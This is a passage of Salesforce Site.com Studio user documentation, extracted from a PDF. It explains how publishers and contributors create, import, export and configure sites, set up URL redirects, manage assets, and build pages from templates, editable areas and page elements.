Preview your site or generate an anonymous preview link to send to other users.

Use the site's pull-down menu (4) to:


Open recently accessed sites.

2272

Getting Started with Siteforce

Understanding the Contributors's Overview Tab

Exit Site.com Studio and return to Salesforce.


Create and open a new site.
Duplicate the site.

See Also:
Using Site.com Studio as a Publisher or Designer
Planning and Implementing a Site.com Website
Site.com Overview

Understanding the Contributors's Overview Tab


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To edit only content in Site.com sites:

Site.com Contributor User field enabled on the user

detail page
AND
Contributor role assigned at the site level

As a contributor, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and edit the
sites pages and content, and import images and files.

2273

Getting Started with Siteforce

Select a view (1) on the Overview tab to view its contents (2).

Understanding the Contributors's Overview Tab

All Site ContentView all of the sites pages, images, and files.
Site PagesView and edit pages, or create site pages, if available.
AssetsImport assets, such as images and files.
Recent ChangesView information about the most recently modified files.

Use the toolbar (3) to:


Import assets, such as images and files.
Preview the site in a browser window.

Use the site's pull-down menu (4) to:


Open recently accessed sites.
Exit Site.com Studio and return to Salesforce.

See Also:
Using Site.com Studio as a Contributor
Site.com Overview

2274

Creating and Managing Sites

Creating a Site.com Site

CREATING AND MANAGING SITES


Creating a Site.com Site
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To create or import Site.com sites:

Site.com Publisher User field enabled on the user detail

page

To get started with Site.com, create a new blank site:


1. On the Site.com tab in the Site.com app, click New. Alternatively, in Site.com Studio, click Create a New Site in the
site's drop-down menu.
2. Click Create a Blank Website.
3. Enter the site name.
4. Click Create. Your new website opens in Site.com Studio, where you can create page templates and site pages, and add
functionality to it.

See Also:
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer
Understanding the Page Editing View in Site.com Studio
Configuring Site Properties
Using Site.com Studio as a Publisher or Designer
Deleting a Site.com Site
Duplicating a Site.com Site
Importing a Site.com Site

2275

Creating and Managing Sites

Deleting a Site.com Site

Deleting a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

You can delete any site that hasnt been published.


1. On the Site.com tab in the Site.com app, select the site and click
2. Click OK.

> Delete.

Note: You cant delete a site that has been published. However, you can take it offline. See Taking Your Site Offline
on page 2376.

See Also:
Creating a Site.com Site
Duplicating a Site.com Site
Exporting a Site.com Site
Importing a Site.com Site

2276

Creating and Managing Sites

Duplicating a Site.com Site

Duplicating a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

To create a copy of a site:


1. On the Site.com tab in the Site.com app, select the site and click
Duplicate the Site in the site's drop-down menu.
2. Enter a name for the site.
3. Click Create.

> Duplicate. Alternatively, in Site.com Studio, click

Note: If youre creating a copy of a site that uses data services, you must set the data access permissions in the new
sites guest user profile.

See Also:
Creating a Site.com Site
Deleting a Site.com Site
Exporting a Site.com Site
Importing a Site.com Site

2277

Creating and Managing Sites

Exporting a Site.com Site

Exporting a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

You can export your site from Site.com to your hard drive. The site is exported in a packaged format that you can import into
another Salesforce organization. The maximum site size you can import is 200 MB.
1. On the Site.com tab in the Site.com app, select the site and click
2. Select a location for the exported site on your hard drive.
3. Click Save.

> Export.

Note: Exported sites have a .site extension. Exporting a site doesnt remove it from the current organization.

See Also:
Creating a Site.com Site
Deleting a Site.com Site
Duplicating a Site.com Site
Importing a Site.com Site

2278

Creating and Managing Sites

Importing a Site.com Site

Importing a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To create or import Site.com sites:

Site.com Publisher User field enabled on the user detail

page

You can import an exported Site.com site into your organization. The maximum site size you can import is 200 MB.
1. On the Site.com tab in the Site.com app, click New. Alternatively, in Site.com Studio, click Create a New Site in the
site's drop-down menu.
2. Select Import a Site or Template.
3. Enter the site name.
4. Click Browse to locate the exported site on your hard drive. Exported sites have a .site extension.
5. Click Create.
Note: If youre importing a site that uses data services, you must set the data access permissions in the imported sites
guest user profile. Additionally, any repeaters, data tables, data functions, or forms may need to be reconfigured.

See Also:
Creating a Site.com Site
Deleting a Site.com Site
Duplicating a Site.com Site
Exporting a Site.com Site

2279

Creating and Managing Sites

Configuring Site Properties

Configuring Site Properties


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Set properties for the site, such as the home page, site name, and error page, and create an anonymous preview URL that
allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest
work in progress.
1. On the Overview tab, click Site Configuration.
2. Click Edit.
3. In the Site Configuration view, you can:

Replace the name in the Site Name field to rename the site.
Select Enable Anonymous Preview to create a URL that allows other users to preview the site before it goes live.
(Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you
can copy and send to other users to review and test your changes.) Enable Anonymous Preview is also available from
the Preview menu on the Overview tab.
Access the sites guest user profile.
Select the home page for your website in the Home Page drop-down list.
Select a user-friendly error page (if you created one) in the 404 Page drop-down list to display when a page can't be
found. It's a good idea to create a user-friendly error page to assist site visitors if they encounter a broken link.

4. Click Save.

See Also:
Creating a Site.com Site
Using Site.com Studio as a Publisher or Designer

2280

Creating and Managing Sites

Creating URL Redirects in Site.com

Creating URL Redirects in Site.com


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

If you move or reorganize pages in your site, search engines may have trouble finding the new page locations. To avoid this,
set up URL redirects to inform users and search engines that site content has moved.
You can use URL redirects to:

Maintain search engine ranking. For example, if you change a pages name from Gadgets to Widgets, creating a redirect
rule from /Gadgets to /Widgets lets you restructure the site without affecting your page ranking.
Make URLs more readable and memorable. For example, site visitors will find long or numeric page names, such as
/widget65AD890004ab9923, difficult to remember. Instead, you can provide them with a short, friendly URL, such
as /widget, and create an alias that redirects to the correct page when the user uses the short URL alias.
Assist with migration from another system to Site.com if youre still using the same domain. For example, if your old site
ran on PHP, you can create a redirection rule from an old page, such as /index.php, to a new page in Site.com, such as
/myNewPage.

To assign a redirect to a site page:


1. On the Overview tab, click Site Configuration > URL Redirects.
2. Click Create a Redirect.
3. Specify the Redirect type:
Option

Description

Permanent (301)

Select this option if you want users and search engines to update the URL in their systems when visiting the
page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent
redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index
the new page and remove the obsolete source URL from their indexes.

Temporary (302)

Select this option if you want users and search engines to keep using the original URL for the page. Search
engines interpret a 302 redirect as one that could change again at any time, and though they index and serve
up the content on the new target page, they also keep the source URL in their indexes.

Alias

Select this option if you dont want the URL to change in the users browser, but you want to redirect to a
different page. Search engines wont be aware of the change or update their records.
Alias redirects only work when you redirect from one Site.com page to another. You cant create an alias to
an external address.

4. Specify the former page location in the Redirect from field.

2281

Creating and Managing Sites

Creating and Managing Folders

The page location must be a relative URL.


The page can have any valid extension type, such as .html or .php, and can contain parameters. Parameter order is
irrelevant.
The URL cant contain anchors, such as /siteprefix/page.html#target.
You can create just one redirection rule from a particular URL. If you create a new rule with the same Redirect From
information, the old rule is overwritten.

5. Specify the new page location in the Redirect to field. This can be a relative URL or a fully-qualified URL with an
http:// or https:// prefix. Unlike pages youre redirecting from, pages youre redirecting to can contain anchors.
6. To immediately enable the redirection rule, ensure Active is selected. To enable it at a later stage, deselect the property.
7. Click Save.
The URL Redirects section displays all URL redirection rules you've created for your site.

Edit an assigned redirect rule by clicking


> Edit Redirect.
Delete a redirect rule by clicking
> Delete Redirect.

Creating and Managing Folders


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

As a publisher or designer, you can create folders to manage your pages, style sheets, templates, and assets.
To create new folders:
1. In the All Site Content view on the Overview tab, click New Folder.
2. Type in the folder name.
3. Click Create.
Folders are created at the top level of the folder tree. Once created, you can drag them anywhere in the tree structure. Likewise,
you can drag and drop files into the folders you create. To rename, delete, and create sub-folders, right-click the folder or use
the Actions menu (
).

2282

Creating and Managing Sites

Importing and Managing Assets

Note: The site map remains the same regardless of how you arrange folders in the All Site Content view.

See Also:
Understanding the Publisher and Designer's Overview Tab
Site.com Overview

Importing and Managing Assets


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:

Site.com Contributor User

AND
Contributor role assigned at the site level

Contributors, designers, and publishers can import a variety of assets, such as images and PDFs, to use in a website.
Note:

To import folders of assets and maintain the folder structure in your site, first create a ZIP file of the content, and
then import and unzip the content.
The maximum file size you can upload is 50 MB unless you upload and unzip a ZIP file. In that case, you can
upload a ZIP file of up to 200 MB if you select Unzip files during the upload process.

The quickest way to import one or more files is to:


1. Select the files and drag them directly onto the Studio interface. This is supported for Mozilla Firefox and Google
Chrome only.
2. Depending on the types of files youre importing, a dialog box may appear that lets you:

Select Unzip files to extract the contents of a ZIP file. If the ZIP file includes folders, this structure is maintained in
your site.
Select Overwrite existing files to replace a file that already exists in the site.

2283

Creating and Managing Sites

Importing and Managing Assets

Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that
you can use to style your website.

Alternatively, to import a single file:


1.
2.
3.
4.

Click Import....
Click Browse... to locate the file.
Select the file and click Open.
Depending on the type of file youre importing, you can:

Select Unzip files to extract the contents of a ZIP file. If the ZIP file includes folders, this structure is maintained in
your site.
Select Overwrite existing files to replace a file that already exists in the site.
Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that
you can use to style your website.

5. Click Import. A message appears indicating whether the file was uploaded successfully.
6. Click

You can add images and videos to the text areas of your site pages, or create a hyperlink to any imported asset. If you're a
publisher or designer, you can add also add images directly to the page.
View the list of imported assets in the Assets view on the Overview tab. You can also access assets in the All Site Content
view, which displays the folder hierarchy of your site.

To view a thumbnail of an imported image, hover over it.

To remove an asset from your site if you're a publisher or designer, hover over or select it and click
> Delete. If the
asset is being used in your site, you see a confirmation message with a list of locations where that asset is in use.

To save an asset to your computer, hover over or select it and click

> Download.

See Also:
Adding Site.com Page Elements
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor

2284

Creating and Managing Pages

Understanding the Page Editing View in Site.com Studio

CREATING AND MANAGING PAGES


Understanding the Page Editing View in Site.com Studio
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When working with page templates and site pages, you can add content, structure, and style, all in one place. Open a page or
template on the Overview tab by double-clicking it or hovering over it and clicking
> Edit. The page opens as a new tab.

Using the
Page Elements and
element hierarchy.
Using the
Properties,
selected page or element.

Page Structure panes (1), you can add page elements to a page and reorder the page

Style, and

Events panes (2), you can set properties, add style, and create events for a

2285

Creating and Managing Pages

Using the toolbar (3), you can:

Site.com Page Templates Overview

Edit page text.


Undo and redo your actions.
Cut, copy, or paste page elements.
Import assets, such as images and files.
Preview your site or generate an anonymous preview link to send to other users.
Publish your recent changes.
Access other page actions, such as renaming or deleting the page.

On the page canvas (4), you can lay out the page and select, edit, and move page elements.
Tip:

Hide the side panes to increase the canvas size by clicking

and

. To reopen a pane, click its icon.

As you edit a page, your changes are saved and the status icon ( ) on the page tab is updated automatically.
If the site page or page template is based on another template, editable page elements are highlighted with a blue
border on the page.

See Also:
Using Site.com Studio as a Publisher or Designer

Site.com Page Templates Overview


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Before you begin building the pages of your website, take some time to plan the pages you need, and in particular, which pages
will have a similar layout. Once you've decided on the layout, the quickest method is to use a page template to build the basic
layout.

About Page Templates


A page template lets you define the layout and functionality of site pages in one location. By adding common page elements
to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. Page templates
don't appear on your public site.
As the template creator, you specify which elements users can edit in pages based on the template. By default, a page element
in a template is locked, so users can't edit its contents in any template-based page unless you mark the page element as
editable. Conversely, when users edit an editable page element in a template-based page, their changes are specific to that
page and don't affect your template.
For example, this main page template contains a non-editable header and navigation menu that are common to all the pages
in the site (1). The main template also has an editable center panel (2) to house the page-specific content of each page that's
based on it.

2286

Creating and Managing Pages

Site.com Page Templates Overview

Note:

Page templates must contain at least one editable page element. Otherwise, users can't edit site pages that are based
on the template.
Panels are ideal for adding editable areas to page templates.

You can use page templates to:

Save time and effort by laying out the page structure and using it as a starting point when you create site pages. For example,
you could design a template with a fixed header panel and side menu, and an editable center panel, to which you add
page-specific page elements and content.
Quickly make global updates to the layout or style of your website, as any changes you make to the template's design are
reflected immediately in all the pages that use it.
Control how other users (such as contributors or other publishers) can modify site pages. For example, you may allow
contributors to edit specific content blocks only.
Ensure your template design remains pixel-perfect. When users edit a page that's based on a template, their changes don't
affect your template.
Reuse common design elements by creating nested templates.
Allow contributors to create site pages that are based on the template.

About Nested Templates


Nested templates are a useful way to reuse common design elements for more complicated page layouts. For example, your
website will probably have elements that are the same on every page in your site, such as a navigation menu. However, several
pages may have elements that are common only to them, such as pages in a subsection of your site that include a subsection
header. By using a nested template, which is a template that's based on another template, you can reuse the main template
design.
Using our main page template as a base, the nested template inherits the non-editable header and navigation menu (1), and
an editable center panel (2) where we add the non-editable subsection header (3). We also need to add a new editable center
panel (4) because the center panel of the main template is editable only in pages directly based on the main template.

2287

Creating and Managing Pages

Site.com Page Templates Overview

Now, any page based on the nested template includes the non-editable main header, navigation menu, and subsection header,
and an editable center panel (5) for that page's content.

Best Practices

Plan your site structure and the layout of your pages. Taking the time to plan your website first saves time when you build
your site.
Identify which elements are common to all the pages of your site, such as navigation menus or headers, as these are the
elements you can add to the page template.
Use page templates wherever possible to promote content reuse and save time.
Try to keep the design of your main page template as simple as possible to make it easier to modify in the future. For more
complicated site designs, use nested templates to achieve maximum flexibility.

See Also:
Creating Site.com Page Templates
Creating Editable Template Areas
Creating Site Pages as a Publisher or Designer
Identifying Which Template a Site.com Page Uses
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer

2288

Creating and Managing Pages

Creating Site.com Page Templates

Creating Site.com Page Templates


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A page template lets you define the layout and functionality of site pages in one location. By adding common page elements
to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. And because
a template-based page inherits the template's elements, you can make site-wide changes from one location.
You can create a page template from a layout, or if you've already created a template, you can use it as a base to create a nested
template, which lets you reuse the design of the main template.

Creating a Page Template from a Layout


To start from scratch with a completely blank template or use a basic page layout:
1. Hover over Page Templates on the Overview tab and click New, or click New Page Template in the Page Templates
view.
2. Enter the page template name. Template names cant include special characters, such as #, ?, or @.
3. Click Layouts and select either a blank page or a predefined page layout, such as a page with a header and footer.
Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to
set their position, so you can easily modify the layout after the page is created. However, if you're familiar with
CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the
Code tab in the Style pane, and clicking Apply.
4. Choose a layout mode:

To expand the page to fill the width of the browser window, click Full width.
To set the page width, click Fixed width and enter the width.

5. Click Create. The page template opens.


Next, you must complete the template.
Tip:

By default, any template you create is only available to other publishers in your organization. To let contributors
create pages based on the template, select Available to Contributor in the Properties pane.
You can also create templates by converting or duplicating other pages.

2289

Creating and Managing Pages

Creating Site.com Page Templates

Creating a Nested Template


To use an existing template as a base for a nested template:

The quickest option is to:


1. Select the template in the Page Templates view on the Overview tab and click
> Create Nested Template.
Alternatively, click Page Actions > Create Nested Template if the template is open.
2. Enter the page template name. Template names cant include special characters, such as #, ?, or @.
3. Click Create. The nested template opens.

Alternatively:
1. Hover over Page Templates on the Overview tab and click New, or click New Page Template in the Page Templates
view.
2. Enter the page template name. Template names cant include special characters, such as #, ?, or @.
3. Click Page templates and select the page template.
4. Click Create. The nested page template opens.

Completing Your Template


Once you've created a template, you must take the next steps to complete it:

Lay out the page template


Add other page elements to the template
Create editable areas
Create template-based site pages

See Also:
Site.com Page Templates Overview
Understanding the Page Editing View in Site.com Studio
Using a Tracing Image for Page Layouts
Identifying Which Template a Site.com Page Uses
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer

2290

Creating and Managing Pages

Creating Editable Template Areas

Creating Editable Template Areas


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

As the template creator, you specify which elements users can edit in pages based on the template.
To make a page element editable, select it on the page template or in the Page Structure pane and click
or select Editable in the Properties pane.

> Make Editable,

When the page template is open, editable page elements are highlighted with a blue border on the page. They also display a
pencil icon (
the page.

) in the Page Structure pane and in the information popup that appears when you hover over the element on

Consider these tips when creating editable areas:

Users can't alter the events, style, or properties of an editable page element in pages based on the template.
Users can't resize, reposition, or delete editable page elements in pages based on the template. However, if the element's
Auto Height property is enabled in the template, it's height will adjust to fit the content of the template-based page.
To make a panel editable, it must be empty. Otherwise publishers can't add content to that area in pages based on the
template.
Publishers can edit any page element you make editable.
Contributors can modify editable content blocks in site pages based on the template. They can also edit content blocks
that you place in an editable panel in template-based site pages. To add a content block that only other publishers can edit,
use custom code instead.
If you create a nested template, remember to add new editable areas to it. Editable page elements are editable only in pages
directly based on the template.
When you create a page from a page template, the content of editable components on the derived page is linked to the
content of the editable components of the parent page template. If users make changes to an editable component on a page
based on a template, any subsequent updates made to the parent template wont be reflected in the component on the

2291

Creating and Managing Pages

Creating Site Pages as a Publisher or Designer

derived page. However, if the editable component on the template-based page is left unchanged, updates made to the
parent template will push down.

See Also:
Creating Site.com Page Templates
Identifying Which Template a Site.com Page Uses
Site.com Page Templates Overview

Creating Site Pages as a Publisher or Designer


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When you create a site page, you can choose to base it on a page template. If you're creating several site pages that have common
page elements, such as a navigation menu, you can save time and effort and achieve a consistent look and feel by creating a
page template first and then basing your site pages on it. Alternatively, if none of your site pages have a similar structure or if
you need to create a one-off site page that doesn't follow the overall site design, such as a home page, you can create a page
based on a basic layout.

Creating Site Pages from a Layout


Start from scratch with a completely blank page or use a basic page layout.
1. Hover over Site Pages on the Overview tab and click New, or click New Site Page in the Site Pages view.
2. Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @.
3. Click Layouts and select either a blank page or a predefined page layout, such as a page with a header and footer.
Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to
set their position, so you can easily modify the layout after the page is created. However, if you're familiar with
CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the
Code tab in the Style pane, and clicking Apply.
4. Choose a layout mode:

To expand the page to fill the width of the browser window, click Full width.
To set the page width, click Fixed width and enter the width.

5. Click Create. The site page opens.

2292

Creating and Managing Pages

Identifying Which Template a Site.com Page Uses

Creating Site Pages from a Page Template


If you created a page template, you can base your site pages on it.
The quickest option is to:
1. Select the template in the Page Templates view and click
> Create Page from Template. Alternatively, click Page
Actions > Create Page from Template if the template is open.
2. Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @.
3. Click Create. The site page opens.
Alternatively:
1.
2.
3.
4.

Hover over Site Pages on the Overview tab and click New, or click New Site Page in the Site Pages view.
Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @.
Click Page templates and select the page template.
Click Create. The site page opens.
Tip: You can also create pages by converting or duplicating other pages.

See Also:
Understanding the Page Editing View in Site.com Studio
Adding Site.com Page Elements
Using a Tracing Image for Page Layouts
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer

Identifying Which Template a Site.com Page Uses


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When you edit a template-based page, you can't modify its non-editable page elements. You also can't reposition, resize, or
delete editable page elements, or alter the events, properties, or style associated with them. To update these elements or
properties, you must edit them in the template the page is based on.
To identify which page template a site page is based on:

2293

Creating and Managing Pages

Identifying Which Template a Site.com Page Uses

Hover over the site page in the Sites Pages view on the Overview tab. An information popup appears that displays the
page template's name.

Examine the Page Structure pane when the page is open. The template's name is displayed as a link that you can click to
open the template.

Tip: To view and open the site pages associated with a particular page template, select or hover over the page template
in the Page Templates view of the Overview tab and click
> Edit Pages Based on Template. Click a listed site
page to open it.

See Also:
Creating Site.com Page Templates
Creating Editable Template Areas
Site.com Page Templates Overview

2294

Creating and Managing Pages

Performing Common Page Actions

Performing Common Page Actions


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When working with pages and templates, you can perform common tasks, such as renaming, deleting, or duplicating pages.
To access more page options, select or hover over a page on the Site Pages view of the Overview tab and click

To access more template options, select or hover over a template in the Page Templates view of the Overview tab and click
.
Alternatively, if the page or template is open, click Page Actions.
The available options vary for pages and templates:

Open the page or template for editing by clicking Edit. Alternatively, double-click the page or template.
Change the page or template name by clicking Rename.
View the page in a browser window by clicking Preview.
Create a copy of the page or template by clicking Duplicate.
Remove a page or template by clicking Delete. You can't delete a template that has pages based on it.
Change the page into a template by clicking Convert Site Page to Template.
Create a page based on the template by clicking Create Page from Template.
Change the template into a page by clicking Convert Template to Site Page. You can't convert a template that has pages
based on it.
Create a nested template based on the selected template by clicking Create Nested Template.
View and open the site pages that are based on the selected page template by clicking Edit Pages Based on Template.

See Also:
Understanding the Page Editing View in Site.com Studio
Using Site.com Studio as a Publisher or Designer

2295

Creating and Managing Pages

Using a Tracing Image for Page Layouts

Using a Tracing Image for Page Layouts


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

If your designer provides you with a full-scale mockup of the page design, you can use it as a background tracing image to
create a pixel-perfect page layout.
To use a tracing image as a guide when you lay out pages:
1.
2.
3.
4.

Import the image.


Open the page template or site page.
Select the image in the Tracing Image list in the Properties pane.
Resize the page elements to match the tracing image.

See Also:
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer

2296

Adding Features and Page Elements

Changing a Pages Doctype Property

Changing a Pages Doctype Property


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

The Document Type Definition (DTD) or doctype of a page defines which version of HTML its using. This information is
used by some browsers to trigger a standard rendering mode. By default, each pages doctype is set to XHTML 1.0, but you
can change it to HTML5.
When the page is open:
1. Select the page in the Page Structure pane.
2. In the Properties pane, select an option in the Doctype drop-down list.

See Also:
Changing a Page Elements HTML Tag
Adding Custom HTML Attributes
HTML5 Semantic Page-Layout Tags
Understanding the Page Editing View in Site.com Studio

ADDING FEATURES AND PAGE ELEMENTS


Site.com Page Elements
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Page elements are the building blocks of your site pages and page templates. Combined, they provide the page's structure and
content.

2297

Adding Features and Page Elements

Site.com Page Elements

When a site page or page template is open in Site.com Studio, these page elements are available to publishers:
Page Element

Description

Content Block

Contains the page text, and can also house images, media, and
hyperlinks.

Custom Code

Lets you customize your site by adding HTML and markup


for elements that aren't provided in Site.com Studio.

Image

Adds images directly to the page.

Menu

Creates a menu that enables users to navigate through the


pages of your site.

Panel

Adds structure to the page and lets you group other page
elements.

Button

Adds a button to the page. You can use the actions in the
Events tab to add functionality to the button.

Form

Lets you collect and submit data from your site visitors to
standard or custom Salesforce objects.

Input Fields

Provides several field types to add to forms or pages. When


added to a form, binds to fields in the forms object.

Data Function

Connects to a standard or custom Salesforce object, performs


calculations on the returned results, and displays the calculation
on the page

Data Table

Connects to a standard or custom Salesforce object, retrieves


a data set based on the filter criteria that you specify, and
displays one or more record as rows in the table.

Repeater

Connects to a Salesforce object and returns a dataset based on


filters that you specify. Combines with repeater elements or
custom code page elements to display the results on the page.

Repeater Element

Must be contained in a repeater. Binds to a field in the


repeaters object and acts as a placeholder that shows the
content of a specified field for the current record.

See Also:
Adding Site.com Page Elements
Editing and Working With Site.com Page Elements

2298

Adding Features and Page Elements

Adding Site.com Page Elements

Adding Site.com Page Elements


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Page elements are the building blocks of your site pages and page templates. Panel elements add structure to your pages. You
can think of both pages and panels as containers for the page elements that you add to them.
If a site page or page template is based on another page template, you can only add page elements to editable panels, which
are highlighted with a blue border on the page.
Pages, panels, data repeaters, and forms are container page elements, so you can add other page elements to them when the
page is open.

In the Page Elements pane, either:


Drag the page element onto the page canvas or container page element.
Click the page element, select where to place it in the popup that appears, and click Apply.

In the Page Structure pane, hover over a container page element and click
want to add or drag it onto the container page element.

Select a container page element on the page and click


it into the container page element.

> Add Page Elements. Click the item you

> Add Page Elements. Click the item you want to add or drag

When you drag a page element into an editable panel, the page element displays a permitted icon and a green border shows
where you're placing the element.

If you try dragging a page element into a panel that isn't editable, the page element displays a not-permitted icon.

2299

Adding Features and Page Elements

Editing and Working With Site.com Page Elements

See Also:
Editing and Working With Site.com Page Elements
Adding Images Directly to the Page
Adding Content Blocks to Pages
Laying Out Site.com Pages Using Panels
Adding Custom Code to Pages
Adding a Navigation Menu
Using a Tracing Image for Page Layouts
Changing a Page Elements HTML Tag

Editing and Working With Site.com Page Elements


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

The Page Structure ( ) pane displays the hierarchy of all elements on the page and is a very useful way of selecting, moving,
and reordering elements, particularly for more complicated page designs.

To select a page element, either click it on the page, or select it in the Page Structure pane. This highlights the element

on the page and displays the item's selector bar and Actions menu (
).
To edit a page element, such as a content block, image, or custom code, either:
Double-click the element on the page.
Select the element on the page and click
> Edit on its selector bar.
Select or hover over the element in the Page Structure pane and click

> Edit.

Click Edit Content on the toolbar (for content blocks only).

To move a page element, either:


Select the element on the page and drag it to the correct position, or click
> Move on its selector bar.
Drag the item to your preferred location in the Page Structure pane, or select it and click
> Move > Direction.
You can also drag all page elements other than panels to your preferred location in the Page Structure pane.

2300

Adding Features and Page Elements

Editing and Working With Site.com Page Elements

To resize a page element, select it and drag the resize handles to the correct size. If the corner resize handles are grayed
out, it means the item's Auto Height property is enabled, which adjusts the height depending on its contents. To resize
it to a set height, disable the property by either deselecting Auto Height in the Properties pane, or by clicking one of the
bottom resize handles and clicking Disable Auto Height in the popup message that appears.
Alternatively, if you're using CSS to style the page element, adjust the style of the class or ID that styles it.

To delete an element, select it and either:


Click
> Delete on the item's selector bar.
Press DELETE.

Click
on the toolbar.
In the Page Structure pane, click

> Delete.

If a site page or page template is based on another page template:

When you create a page or template from another page template, the content of all editable components on the derived
page or template is linked to the content of the editable components on the parent page template. Updates to an editable
component on the parent template will push down to your derived page or page template. However, if you make changes
to an editable component at the derived page or template level, you break the link, and any subsequent changes made to
the component on the parent template won't trickle down to your derived page or template. Note that this linking behavior
only works one level down from the parent template.
Editable page elements are highlighted with a blue border on the page.
You can't reposition or resize its page elements. However, if the element's Auto Height property is enabled in the template,
the height will adjust to fit the content in the template-based page. To edit the page element, you must edit it in the page
template.
You can't delete its page elements. To delete the page element, you must delete it from the page template.
You can't alter the events, properties, or style of an editable page element, such as its color, position, and size.

See Also:
Site.com Page Elements
Adding Site.com Page Elements
Adding Content Blocks to Pages
Adding Images Directly to the Page
Laying Out Site.com Pages Using Panels
Adding Custom Code to Pages
Adding a Navigation Menu
Changing a Page Elements HTML Tag

2301

Working with Panels

Laying Out Site.com Pages Using Panels

WORKING WITH PANELS


Laying Out Site.com Pages Using Panels
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A panel is a useful layout tool that defines the logical divisions of your page and lets you group page elements together for easy
movement and positioning. Think of it as a container for other page elements, including other panels, or as a div that wraps
around the content placed within it. Panels are ideal for adding editable areas to page templates.
